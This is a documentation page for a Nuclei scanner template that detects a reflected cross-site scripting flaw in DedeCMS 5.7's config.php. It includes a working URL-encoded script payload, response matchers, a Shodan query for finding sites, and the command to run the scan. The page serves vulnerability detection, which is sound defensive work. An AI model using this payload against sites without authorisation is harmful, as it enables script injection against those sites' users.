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DedeCMS 5.7 - Cross-Site Scripting

ID: dedecms-config-xss

Severity: high

Author: ritikchaddha

Tags: dedecms,xss

Description

Section titled “Description”

DeDeCMS 5.7 contains a cross-site scripting vulnerability in the ‘/include/dialog/config.php’ file. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.

YAML Source

Section titled “YAML Source”
id: dedecms-config-xss


info:
  name: DedeCMS 5.7 - Cross-Site Scripting
  author: ritikchaddha
  severity: high
  description: |
    DeDeCMS 5.7 contains a cross-site scripting vulnerability in the '/include/dialog/config.php' file. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site.
  reference:
    - https://www.zilyun.com/8665.html
    - https://www.60ru.com/161.html
    - https://www.cnblogs.com/milantgh/p/3615853.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
    cpe: cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"DedeCms"
    product: dedecms
    vendor: dedecms
  tags: dedecms,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/include/dialog/config.php?adminDirHand=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "location='../../</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 4a0a0047304502210086d69ecd217733edb84b47400cc707395a83756f8e0f53ac06922ab20f14e7ca022036c8d82e0cbf57ec35b149ae7530cca275fe6bac6fa13444babd9977a29f9a3f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/dedecms/dedecms-config-xss.yaml"

View on Github